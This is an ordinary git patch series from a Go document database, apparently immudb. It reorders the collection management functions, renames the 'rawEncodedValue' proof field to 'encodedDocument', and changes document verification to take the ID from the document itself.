pkg/database/document_database.go | 136 ++++----- 2 files changed, 299 insertions(+), 299 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 93161f8ca8..0c8a39a2d8 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -177,6 +177,135 @@ func (e *Engine) CreateCollection(ctx context.Context, collectionName string, id return tx.Commit(ctx) } +func (e *Engine) ListCollections(ctx context.Context) (map[string][]*sql.Index, error) { + tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return nil, err + } + defer tx.Cancel() + + collectionMap := make(map[string][]*sql.Index) + for _, table := range tx.Catalog().GetTables() { + _, ok := collectionMap[table.Name()] + if !ok { + collectionMap[table.Name()] = make([]*sql.Index, 0) + } + collectionMap[table.Name()] = append(collectionMap[table.Name()], table.GetIndexes()...) + } + + return collectionMap, nil +} + +func (e *Engine) GetCollection(ctx context.Context, collectionName string) ([]*sql.Index, error) { + tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return nil, err + } + defer tx.Cancel() + + // check if collection exists + table, err := tx.Catalog().GetTableByName(collectionName) + if err != nil { + return nil, fmt.Errorf("collection %s does not exist", collectionName) + } + + // fetch primary and index keys from collection schema + cols := table.Cols() + if len(cols) == 0 { + return nil, fmt.Errorf("collection %s does not have a field", collectionName) + } + + indexes := make([]*sql.Index, 0) + indexes = append(indexes, table.GetIndexes()...) + + return indexes, nil +} + +func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, addIdxKeys map[string]sql.SQLValueType, removeIdxKeys []string) error { + indexKeys := make([]string, 0) + updateCollectionStmts := make([]sql.SQLStmt, 0) + + sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithExplicitClose(true)) + if err != nil { + return err + } + defer sqlTx.Cancel() + + if len(addIdxKeys) > 0 { + // add index keys + for name, schType := range addIdxKeys { + indexKeys = append(indexKeys, name) + colLen, err := valueTypeDefaultLength(schType) + if err != nil { + return fmt.Errorf("index key specified is not supported: %v", schType) + } + // add indexes as new columns to collection + updateCollectionStmts = append(updateCollectionStmts, sql.NewAddColumnStmt(collectionName, sql.NewColSpec(name, schType, colLen, false, false))) + } + + // add indexes to collection + for _, idx := range indexKeys { + updateCollectionStmts = append(updateCollectionStmts, sql.NewCreateIndexStmt(collectionName, []string{idx})) + } + + _, _, err := e.sqlEngine.ExecPreparedStmts( + ctx, + sqlTx, + updateCollectionStmts, + nil, + ) + if err != nil { + return err + } + } + + if len(removeIdxKeys) > 0 { + // delete indexes from collection + deleteIdxStmts := make([]sql.SQLStmt, 0) + for _, idx := range removeIdxKeys { + deleteIdxStmts = append(deleteIdxStmts, sql.NewDropIndexStmt(collectionName, idx)) + } + + _, _, err := e.sqlEngine.ExecPreparedStmts( + ctx, + sqlTx, + deleteIdxStmts, + nil, + ) + if err != nil { + return err + } + } + + return sqlTx.Commit(ctx) +} + +// DeleteCollection deletes a collection. +func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) error { + // delete collection from catalog + _, ctxs, err := e.sqlEngine.ExecPreparedStmts( + ctx, + nil, + []sql.SQLStmt{ + sql.NewDeleteFromStmt(collectionName, nil), // delete all documents from collection + sql.NewDropTableStmt(collectionName), // delete collection from catalog + }, + nil, + ) + if err != nil { + return err + } + + // wait for the transaction to be committed to ensure the collection is deleted from the catalog + committedTx := ctxs[0] + err = e.sqlEngine.GetStore().WaitForIndexingUpto(ctx, committedTx.TxHeader().ID) + if err != nil { + return err + } + + return nil +} + func (e *Engine) InsertDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (docID DocumentID, txID uint64, err error) { docID, txID, _, err = e.upsertDocument(ctx, collectionName, doc, true) return @@ -310,102 +439,29 @@ func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc return docID, txID, rev, nil } -func (e *Engine) ListCollections(ctx context.Context) (map[string][]*sql.Index, error) { - tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) - if err != nil { - return nil, err - } - defer tx.Cancel() - - collectionMap := make(map[string][]*sql.Index) - for _, table := range tx.Catalog().GetTables() { - _, ok := collectionMap[table.Name()] - if !ok { - collectionMap[table.Name()] = make([]*sql.Index, 0) - } - collectionMap[table.Name()] = append(collectionMap[table.Name()], table.GetIndexes()...) - } - - return collectionMap, nil -} - -func (e *Engine) GetCollection(ctx context.Context, collectionName string) ([]*sql.Index, error) { - tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) - if err != nil { - return nil, err - } - defer tx.Cancel() - - // check if collection exists - table, err := tx.Catalog().GetTableByName(collectionName) +func (e *Engine) GetDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, docAudit *Audit, err error) { + sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { - return nil, fmt.Errorf("collection %s does not exist", collectionName) - } - - // fetch primary and index keys from collection schema - cols := table.Cols() - if len(cols) == 0 { - return nil, fmt.Errorf("collection %s does not have a field", collectionName) - } - - indexes := make([]*sql.Index, 0) - indexes = append(indexes, table.GetIndexes()...) - - return indexes, nil -} - -// generateExp generates a boolean expression from a list of expressions. -func (d *Engine) generateExp(ctx context.Context, collection string, expressions []*Query) (sql.ValueExp, error) { - if len(expressions) == 0 { - return nil, nil + return 0, nil, err } + defer sqlTx.Cancel() - tcols, err := d.getCollectionSchema(ctx, collection) + table, err := sqlTx.Catalog().GetTableByName(collectionName) if err != nil { - return nil, err - } - - // Convert each expression to a boolean expression. - boolExps := make([]*sql.CmpBoolExp, len(expressions)) - for i, exp := range expressions { - fieldType, ok := tcols[exp.Field] - if !ok { - return nil, fmt.Errorf("unsupported field %v", exp.Field) - } - value, err := valueTypeToExp(fieldType.Type(), exp.Value) - if err != nil { - return nil, err - } - - colSelector := sql.NewColSelector(collection, exp.Field) - boolExps[i] = sql.NewCmpBoolExp(int(exp.Operator), colSelector, value) - } - - // Combine boolean expressions using AND operator. - var result sql.ValueExp - result = sql.NewCmpBoolExp(boolExps[0].OP(), boolExps[0].Left(), boolExps[0].Right()) - - for _, exp := range boolExps[1:] { - result = sql.NewBinBoolExp(sql.AND, result, exp) + return 0, nil, err } - return result, nil -} - -func (e *Engine) getCollectionSchema(ctx context.Context, collection string) (map[string]*sql.Column, error) { - tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + searchKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, docID) if err != nil { - return nil, err + return 0, nil, err } - defer tx.Cancel() - // check if collection exists - table, err := tx.Catalog().GetTableByName(collection) + docAudit, err = e.getValueAt(searchKey, txID, false, 0) if err != nil { - return nil, err + return 0, nil, err } - return table.ColsByName(), nil + return table.ID(), docAudit, nil } func (e *Engine) GetDocuments(ctx context.Context, collectionName string, queries []*Query, pageNum int, itemsPerPage int) ([]*structpb.Struct, error) { @@ -459,43 +515,6 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, querie return results, nil } -func (e *Engine) getKeyForDocument(ctx context.Context, tx *sql.SQLTx, collectionName string, documentID DocumentID) ([]byte, error) { - table, err := tx.Catalog().GetTableByName(collectionName) - if err != nil { - return nil, err - } - - var searchKey []byte - - valbuf := bytes.Buffer{} - for _, col := range table.PrimaryIndex().Cols() { - if col.Name() == DocumentIDField { - rval := sql.NewBlob(documentID[:]) - encVal, err := sql.EncodeRawValueAsKey(rval.RawValue(), col.Type(), col.MaxLen()) - if err != nil { - return nil, err - } - _, err = valbuf.Write(encVal) - if err != nil { - return nil, err - } - } - } - - pkEncVals := valbuf.Bytes() - - searchKey = sql.MapKey( - e.sqlEngine.GetPrefix(), - sql.PIndexPrefix, - sql.EncodeID(1), - sql.EncodeID(table.ID()), - sql.EncodeID(table.PrimaryIndex().ID()), - pkEncVals, - ) - - return searchKey, nil -} - // DocumentAudit returns the audit history of a document. func (e *Engine) DocumentAudit(ctx context.Context, collectionName string, documentID DocumentID, pageNum int, itemsPerPage int) ([]*Audit, error) { offset := (pageNum - 1) * itemsPerPage @@ -566,6 +585,97 @@ func (e *Engine) DocumentAudit(ctx context.Context, collectionName string, docum return results, nil } +// generateExp generates a boolean expression from a list of expressions. +func (d *Engine) generateExp(ctx context.Context, collection string, expressions []*Query) (sql.ValueExp, error) { + if len(expressions) == 0 { + return nil, nil + } + + tcols, err := d.getCollectionSchema(ctx, collection) + if err != nil { + return nil, err + } + + // Convert each expression to a boolean expression. + boolExps := make([]*sql.CmpBoolExp, len(expressions)) + for i, exp := range expressions { + fieldType, ok := tcols[exp.Field] + if !ok { + return nil, fmt.Errorf("unsupported field %v", exp.Field) + } + value, err := valueTypeToExp(fieldType.Type(), exp.Value) + if err != nil { + return nil, err + } + + colSelector := sql.NewColSelector(collection, exp.Field) + boolExps[i] = sql.NewCmpBoolExp(int(exp.Operator), colSelector, value) + } + + // Combine boolean expressions using AND operator. + var result sql.ValueExp + result = sql.NewCmpBoolExp(boolExps[0].OP(), boolExps[0].Left(), boolExps[0].Right()) + + for _, exp := range boolExps[1:] { + result = sql.NewBinBoolExp(sql.AND, result, exp) + } + + return result, nil +} + +func (e *Engine) getCollectionSchema(ctx context.Context, collection string) (map[string]*sql.Column, error) { + tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return nil, err + } + defer tx.Cancel() + + // check if collection exists + table, err := tx.Catalog().GetTableByName(collection) + if err != nil { + return nil, err + } + + return table.ColsByName(), nil +} + +func (e *Engine) getKeyForDocument(ctx context.Context, tx *sql.SQLTx, collectionName string, documentID DocumentID) ([]byte, error) { + table, err := tx.Catalog().GetTableByName(collectionName) + if err != nil { + return nil, err + } + + var searchKey []byte + + valbuf := bytes.Buffer{} + for _, col := range table.PrimaryIndex().Cols() { + if col.Name() == DocumentIDField { + rval := sql.NewBlob(documentID[:]) + encVal, err := sql.EncodeRawValueAsKey(rval.RawValue(), col.Type(), col.MaxLen()) + if err != nil { + return nil, err + } + _, err = valbuf.Write(encVal) + if err != nil { + return nil, err + } + } + } + + pkEncVals := valbuf.Bytes() + + searchKey = sql.MapKey( + e.sqlEngine.GetPrefix(), + sql.PIndexPrefix, + sql.EncodeID(1), + sql.EncodeID(table.ID()), + sql.EncodeID(table.PrimaryIndex().ID()), + pkEncVals, + ) + + return searchKey, nil +} + func (e *Engine) getValueAt( key []byte, atTx uint64, @@ -620,113 +730,3 @@ func (e *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityChec return entry.Metadata(), v, nil } - -func (e *Engine) GetDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, docAudit *Audit, err error) { - sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) - if err != nil { - return 0, nil, err - } - defer sqlTx.Cancel() - - table, err := sqlTx.Catalog().GetTableByName(collectionName) - if err != nil { - return 0, nil, err - } - - searchKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, docID) - if err != nil { - return 0, nil, err - } - - docAudit, err = e.getValueAt(searchKey, txID, false, 0) - if err != nil { - return 0, nil, err - } - - return table.ID(), docAudit, nil -} - -// DeleteCollection deletes a collection. -func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) error { - // delete collection from catalog - _, ctxs, err := e.sqlEngine.ExecPreparedStmts( - ctx, - nil, - []sql.SQLStmt{ - sql.NewDeleteFromStmt(collectionName, nil), // delete all documents from collection - sql.NewDropTableStmt(collectionName), // delete collection from catalog - }, - nil, - ) - if err != nil { - return err - } - - // wait for the transaction to be committed to ensure the collection is deleted from the catalog - committedTx := ctxs[0] - err = e.sqlEngine.GetStore().WaitForIndexingUpto(ctx, committedTx.TxHeader().ID) - if err != nil { - return err - } - - return nil -} - -func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, addIdxKeys map[string]sql.SQLValueType, removeIdxKeys []string) error { - indexKeys := make([]string, 0) - updateCollectionStmts := make([]sql.SQLStmt, 0) - - sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithExplicitClose(true)) - if err != nil { - return err - } - defer sqlTx.Cancel() - - if len(addIdxKeys) > 0 { - // add index keys - for name, schType := range addIdxKeys { - indexKeys = append(indexKeys, name) - colLen, err := valueTypeDefaultLength(schType) - if err != nil { - return fmt.Errorf("index key specified is not supported: %v", schType) - } - // add indexes as new columns to collection - updateCollectionStmts = append(updateCollectionStmts, sql.NewAddColumnStmt(collectionName, sql.NewColSpec(name, schType, colLen, false, false))) - } - - // add indexes to collection - for _, idx := range indexKeys { - updateCollectionStmts = append(updateCollectionStmts, sql.NewCreateIndexStmt(collectionName, []string{idx})) - } - - _, _, err := e.sqlEngine.ExecPreparedStmts( - ctx, - sqlTx, - updateCollectionStmts, - nil, - ) - if err != nil { - return err - } - } - - if len(removeIdxKeys) > 0 { - // delete indexes from collection - deleteIdxStmts := make([]sql.SQLStmt, 0) - for _, idx := range removeIdxKeys { - deleteIdxStmts = append(deleteIdxStmts, sql.NewDropIndexStmt(collectionName, idx)) - } - - _, _, err := e.sqlEngine.ExecPreparedStmts( - ctx, - sqlTx, - deleteIdxStmts, - nil, - ) - if err != nil { - return err - } - } - - return sqlTx.Commit(ctx) -} diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index a650e5f1e6..8897970602 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -59,6 +59,33 @@ type DocumentDatabase interface { DocumentProof(ctx context.Context, req *schemav2.DocumentProofRequest) (*schemav2.DocumentProofResponse, error) } +// CreateCollection creates a new collection +func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) (*schemav2.CollectionCreateResponse, error) { + indexKeys := make(map[string]sql.SQLValueType) + + // validate index keys + for name, pk := range req.IndexKeys { + schType, isValid := schemaToValueType[pk.Type] + if !isValid { + return nil, fmt.Errorf("invalid index key type: %v", pk) + } + indexKeys[name] = schType + } + + err := d.documentEngine.CreateCollection(ctx, req.Name, indexKeys) + if err != nil { + return nil, err + } + + // get collection information + cinfo, err := d.getCollection(ctx, req.Name) + if err != nil { + return nil, err + } + + return &schemav2.CollectionCreateResponse{Collection: cinfo}, nil +} + func (d *db) ListCollections(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) { collections, err := d.documentEngine.ListCollections(ctx) if err != nil { @@ -73,6 +100,16 @@ func (d *db) ListCollections(ctx context.Context, req *schemav2.CollectionListRe return &schemav2.CollectionListResponse{Collections: cinfos}, nil } +// GetCollection returns the collection schema +func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionGetResponse, error) { + cinfo, err := d.getCollection(ctx, req.Name) + if err != nil { + return nil, err + } + + return &schemav2.CollectionGetResponse{Collection: cinfo}, nil +} + func (d *db) getCollection(ctx context.Context, collectionName string) (*schemav2.CollectionInformation, error) { indexes, err := d.documentEngine.GetCollection(ctx, collectionName) if err != nil { @@ -82,22 +119,42 @@ func (d *db) getCollection(ctx context.Context, collectionName string) (*schemav return newCollectionInformation(collectionName, indexes), nil } -// GetCollection returns the collection schema -func (d *db) GetCollection(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionGetResponse, error) { - cinfo, err := d.getCollection(ctx, req.Name) - if err != nil { - return nil, err +// helper function to create a collection information +func newCollectionInformation(collectionName string, indexes []*sql.Index) *schemav2.CollectionInformation { + cinfo := &schemav2.CollectionInformation{ + Name: collectionName, + IndexKeys: make(map[string]*schemav2.IndexOption), } - return &schemav2.CollectionGetResponse{Collection: cinfo}, nil + // iterate over indexes and extract primary and index keys + for _, idx := range indexes { + for _, col := range idx.Cols() { + var colType schemav2.IndexType + switch col.Type() { + case sql.VarcharType: + colType = schemav2.IndexType_STRING + case sql.IntegerType: + colType = schemav2.IndexType_INTEGER + case sql.BLOBType: + colType = schemav2.IndexType_STRING + } + + cinfo.IndexKeys[col.Name()] = &schemav2.IndexOption{ + Type: colType, + } + + } + } + + return cinfo } -// CreateCollection creates a new collection -func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) (*schemav2.CollectionCreateResponse, error) { +// UpdateCollection updates an existing collection +func (d *db) UpdateCollection(ctx context.Context, req *schemav2.CollectionUpdateRequest) (*schemav2.CollectionUpdateResponse, error) { indexKeys := make(map[string]sql.SQLValueType) // validate index keys - for name, pk := range req.IndexKeys { + for name, pk := range req.AddIndexes { schType, isValid := schemaToValueType[pk.Type] if !isValid { return nil, fmt.Errorf("invalid index key type: %v", pk) @@ -105,7 +162,7 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat indexKeys[name] = schType } - err := d.documentEngine.CreateCollection(ctx, req.Name, indexKeys) + err := d.documentEngine.UpdateCollection(ctx, req.Name, indexKeys, req.RemoveIndexes) if err != nil { return nil, err } @@ -116,7 +173,7 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat return nil, err } - return &schemav2.CollectionCreateResponse{Collection: cinfo}, nil + return &schemav2.CollectionUpdateResponse{Collection: cinfo}, nil } // DeleteCollection deletes a collection @@ -163,36 +220,6 @@ func (d *db) SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRe return &schemav2.DocumentSearchResponse{Results: results}, nil } -// helper function to create a collection information -func newCollectionInformation(collectionName string, indexes []*sql.Index) *schemav2.CollectionInformation { - cinfo := &schemav2.CollectionInformation{ - Name: collectionName, - IndexKeys: make(map[string]*schemav2.IndexOption), - } - - // iterate over indexes and extract primary and index keys - for _, idx := range indexes { - for _, col := range idx.Cols() { - var colType schemav2.IndexType - switch col.Type() { - case sql.VarcharType: - colType = schemav2.IndexType_STRING - case sql.IntegerType: - colType = schemav2.IndexType_INTEGER - case sql.BLOBType: - colType = schemav2.IndexType_STRING - } - - cinfo.IndexKeys[col.Name()] = &schemav2.IndexOption{ - Type: colType, - } - - } - } - - return cinfo -} - func (d *db) DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditRequest) (*schemav2.DocumentAuditResponse, error) { // verify if document id is valid docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) @@ -300,30 +327,3 @@ func (d *db) DocumentProof(ctx context.Context, req *schemav2.DocumentProofReque }, }, nil } - -// UpdateCollection updates an existing collection -func (d *db) UpdateCollection(ctx context.Context, req *schemav2.CollectionUpdateRequest) (*schemav2.CollectionUpdateResponse, error) { - indexKeys := make(map[string]sql.SQLValueType) - - // validate index keys - for name, pk := range req.AddIndexes { - schType, isValid := schemaToValueType[pk.Type] - if !isValid { - return nil, fmt.Errorf("invalid index key type: %v", pk) - } - indexKeys[name] = schType - } - - err := d.documentEngine.UpdateCollection(ctx, req.Name, indexKeys, req.RemoveIndexes) - if err != nil { - return nil, err - } - - // get collection information - cinfo, err := d.getCollection(ctx, req.Name) - if err != nil { - return nil, err - } - - return &schemav2.CollectionUpdateResponse{Collection: cinfo}, nil -} From 315f9c5d6b832f23f476b1faed2973adf56a014e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 12 Apr 2023 23:17:04 -0300 Subject: [PATCH 0424/1062] chore(pkg/verification): document verification using embedded identifier Signed-off-by: Jeronimo Irazabal --- pkg/api/documentschema/docs.md | 2 +- pkg/api/documentschema/documentschema.pb.go | 12 +++++----- pkg/api/documentschema/documentschema.proto | 2 +- .../documentschema.swagger.json | 2 +- pkg/database/document_database.go | 2 +- pkg/database/document_database_test.go | 22 +++++++++---------- pkg/verification/verification.go | 20 ++++++++++------- 7 files changed, 32 insertions(+), 30 deletions(-) diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index 39a5a99b4a..03e85a6f60 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -368,7 +368,7 @@ | ----- | ---- | ----- | ----------- | | database | [string](#string) | | | | collectionId | [uint32](#uint32) | | | -| rawEncodedValue | [bytes](#bytes) | | | +| encodedDocument | [bytes](#bytes) | | | | verifiableTx | [immudb.schema.VerifiableTxV2](#immudb.schema.VerifiableTxV2) | | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index 7b4c614bc7..3ee25ed379 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -753,7 +753,7 @@ type DocumentProofResponse struct { Database string `protobuf:"bytes,1,opt,name=database,proto3" json:"database,omitempty"` CollectionId uint32 `protobuf:"varint,2,opt,name=collectionId,proto3" json:"collectionId,omitempty"` - RawEncodedValue []byte `protobuf:"bytes,3,opt,name=rawEncodedValue,proto3" json:"rawEncodedValue,omitempty"` + EncodedDocument []byte `protobuf:"bytes,3,opt,name=encodedDocument,proto3" json:"encodedDocument,omitempty"` VerifiableTx *schema.VerifiableTxV2 `protobuf:"bytes,4,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` } @@ -803,9 +803,9 @@ func (x *DocumentProofResponse) GetCollectionId() uint32 { return 0 } -func (x *DocumentProofResponse) GetRawEncodedValue() []byte { +func (x *DocumentProofResponse) GetEncodedDocument() []byte { if x != nil { - return x.RawEncodedValue + return x.EncodedDocument } return nil } @@ -1696,9 +1696,9 @@ var file_documentschema_proto_rawDesc = []byte{ 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, 0x0a, 0x0f, - 0x72, 0x61, 0x77, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x72, 0x61, 0x77, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index b306ebc40b..3608ec7fdb 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -116,7 +116,7 @@ message DocumentProofRequest { message DocumentProofResponse { string database = 1; uint32 collectionId = 2; - bytes rawEncodedValue = 3; + bytes encodedDocument = 3; schema.VerifiableTxV2 verifiableTx = 4; } diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index a5c8f20000..c8faf742b5 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -528,7 +528,7 @@ "type": "integer", "format": "int64" }, - "rawEncodedValue": { + "encodedDocument": { "type": "string", "format": "byte" }, diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 8897970602..30f3c3e4b5 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -320,7 +320,7 @@ func (d *db) DocumentProof(ctx context.Context, req *schemav2.DocumentProofReque return &schemav2.DocumentProofResponse{ Database: d.name, CollectionId: collectionID, - RawEncodedValue: docAudit.Value, + EncodedDocument: docAudit.Value, VerifiableTx: &schema.VerifiableTxV2{ Tx: schema.TxToProto(tx), DualProof: schema.DualProofV2ToProto(dualProof), diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 9f70e1a908..21cd02bc23 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -80,17 +80,15 @@ func TestDocumentDB_Collection(t *testing.T) { require.Equal(t, schemav2.IndexType_INTEGER, resp.IndexKeys["pincode"].Type) // add document to collection - rawDoc := &structpb.Struct{ - Fields: map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: 123}, - }, - }, - } - docRes, err := db.InsertDocument(context.Background(), &schemav2.DocumentInsertRequest{ Collection: collectionName, - Document: rawDoc, + Document: &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: 123}, + }, + }, + }, }) require.NoError(t, err) require.NotNil(t, docRes) @@ -112,8 +110,8 @@ func TestDocumentDB_Collection(t *testing.T) { }) require.NoError(t, err) require.Equal(t, 1, len(docs.Results)) - res := docs.Results[0] - require.Equal(t, 123.0, res.Fields["pincode"].GetNumberValue()) + doc := docs.Results[0] + require.Equal(t, 123.0, doc.Fields["pincode"].GetNumberValue()) proofRes, err := db.DocumentProof(context.Background(), &schemav2.DocumentProofRequest{ Collection: collectionName, @@ -122,7 +120,7 @@ func TestDocumentDB_Collection(t *testing.T) { require.NoError(t, err) require.NotNil(t, proofRes) - newState, err := verification.VerifyDocument(context.Background(), proofRes, docRes.DocumentId, rawDoc, nil, nil) + newState, err := verification.VerifyDocument(context.Background(), proofRes, doc, nil, nil) require.NoError(t, err) require.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, newState.TxId) } diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index 4d7776ebf0..be0f83a3d6 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -33,21 +33,25 @@ import ( ) const documentPrefix byte = 3 -const encodedValuePrefixLen int = 36 +const encodedPrefixLen int = 36 func VerifyDocument(ctx context.Context, proof *schemav2.DocumentProofResponse, - docID string, - rawDoc *structpb.Struct, + doc *structpb.Struct, lastValidatedState *schema.ImmutableState, serverSigningPubKey *ecdsa.PublicKey, ) (*schema.ImmutableState, error) { - if proof == nil || rawDoc == nil { + if proof == nil || doc == nil { return nil, store.ErrIllegalArguments } - encDocKey, err := encodedKeyForDocument(proof.CollectionId, docID) + docID, ok := doc.Fields[document.DocumentIDField] + if !ok { + return nil, fmt.Errorf("%w: missing field '%s'", store.ErrIllegalArguments, document.DocumentIDField) + } + + encDocKey, err := encodedKeyForDocument(proof.CollectionId, docID.GetStringValue()) if err != nil { return nil, err } @@ -56,7 +60,7 @@ func VerifyDocument(ctx context.Context, for _, txEntry := range proof.VerifiableTx.Tx.Entries { if bytes.Equal(txEntry.Key, encDocKey) { - hVal := sha256.Sum256(proof.RawEncodedValue) + hVal := sha256.Sum256(proof.EncodedDocument) if !bytes.Equal(hVal[:], txEntry.HValue) { return nil, store.ErrInvalidProof @@ -71,12 +75,12 @@ func VerifyDocument(ctx context.Context, } // check encoded value is consistent with raw document - rawDocBytes, err := json.Marshal(rawDoc) + docBytes, err := json.Marshal(doc) if err != nil { return nil, err } - if !bytes.Equal(rawDocBytes, proof.RawEncodedValue[encodedValuePrefixLen:encodedValuePrefixLen+len(rawDocBytes)]) { + if !bytes.Equal(docBytes, proof.EncodedDocument[encodedPrefixLen:encodedPrefixLen+len(docBytes)]) { return nil, store.ErrInvalidProof } From 6f82d9d2e4820682f9874cd904c3456b5368faf5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 13 Apr 2023 00:23:26 -0300 Subject: [PATCH 0425/1062] chore(embedded/document): return struct when auditing document history Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 165 +++--- embedded/document/engine_test.go | 11 +- pkg/api/documentschema/docs.md | 6 +- pkg/api/documentschema/documentschema.pb.go | 550 ++++++++---------- pkg/api/documentschema/documentschema.proto | 10 +- .../documentschema.swagger.json | 22 +- pkg/database/document_database.go | 13 +- 7 files changed, 361 insertions(+), 416 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 0c8a39a2d8..708392136b 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -18,7 +18,6 @@ package document import ( "bytes" "context" - "encoding/binary" "encoding/json" "errors" "fmt" @@ -89,10 +88,16 @@ var ( } ) -type Audit struct { - Value []byte +type EncodedDocAudit struct { + TxID uint64 + Revision uint64 + EncodedDocument []byte +} + +type DocAudit struct { TxID uint64 Revision uint64 + Document *structpb.Struct } type Query struct { @@ -428,42 +433,17 @@ func (e *Engine) upsertDocument(ctx context.Context, collectionName string, doc return docID, txID, 0, nil } - auditLog, err := e.getValueAt(searchKey, 0, false, 0) + docAudit, err := e.getEncodedDocumentAudit(searchKey, 0, false) if err != nil { return nil, 0, 0, err } - rev = auditLog.Revision + rev = docAudit.Revision } return docID, txID, rev, nil } -func (e *Engine) GetDocument(ctx context.Context, collectionName string, docID DocumentID, 